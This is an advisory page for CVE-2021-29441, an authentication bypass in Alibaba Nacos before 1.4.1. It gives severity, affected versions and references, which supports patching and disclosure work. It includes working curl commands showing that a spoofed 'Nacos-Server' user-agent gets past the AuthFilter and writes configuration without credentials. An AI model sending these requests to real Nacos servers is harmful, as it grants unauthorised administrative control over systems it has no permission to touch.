Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM2aHAtanI4aC01NTZm
Authentication Bypass
When configured to use authentication (-Dnacos.core.auth.enabled=true
) Nacos uses the AuthFilter
servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent
HTTP header so it can be easily spoofed.
The following request to the configuration
endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server
user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Permalink: https://github.com/advisories/GHSA-36hp-jr8h-556fJSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM2aHAtanI4aC01NTZm
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 3 years ago
Updated: almost 2 years ago
EPSS Percentage: 0.96743
EPSS Percentile: 0.99782
Identifiers: GHSA-36hp-jr8h-556f, CVE-2021-29441
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-29441
- https://github.com/alibaba/nacos/issues/4701
- https://github.com/alibaba/nacos/pull/4703
- https://github.com/advisories/GHSA-36hp-jr8h-556f
Blast Radius: 0.0
Affected Packages
maven:com.alibaba.nacos:nacos-common
Dependent packages: 17Dependent repositories: 327
Downloads:
Affected Version Ranges: < 1.4.1
Fixed in: 1.4.1
All affected versions: 0.1.0, 0.2.0, 0.2.1, 0.3.0, 0.4.0, 0.5.0, 0.6.0, 0.6.1, 0.6.2, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.9.1, 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.4.0
All unaffected versions: 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 1.4.7, 1.4.8, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.4.0, 2.4.1, 2.4.2, 2.4.3